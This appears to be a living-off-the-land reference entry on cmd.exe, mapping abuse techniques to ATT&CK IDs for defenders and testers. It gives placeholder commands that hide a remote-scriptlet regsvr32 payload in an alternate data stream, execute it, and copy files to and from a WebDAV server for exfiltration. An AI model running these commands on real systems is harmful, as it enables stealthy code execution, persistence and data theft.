.. /Cmd.exe
Star

Alternate data streams
Download
Upload

The command-line interpreter in Windows

Paths:

Resources:

Acknowledgements:

Detections:

Alternate data streams

  1. Add content to an Alternate Data Stream (ADS).

    cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
    Use case
    Can be used to evade defensive countermeasures or to hide as a persistence mechanism
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004
  2. Execute payload.bat stored in an Alternate Data Stream (ADS).

    cmd.exe - < {PATH}:payload.bat
    Use case
    Can be used to evade defensive countermeasures or to hide as a persistence mechanism
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1059.003

Download

  1. Downloads a specified file from a WebDAV server to the target file.

    type {PATH_SMB} > {PATH_ABSOLUTE}
    Use case
    Download/copy a file from a WebDAV server
    Privileges required
    User
    Operating systems
    Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105

Upload

  1. Uploads a specified file to a WebDAV server.

    type {PATH_ABSOLUTE} > {PATH_SMB}
    Use case
    Upload a file to a WebDAV server
    Privileges required
    User
    Operating systems
    Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1048.003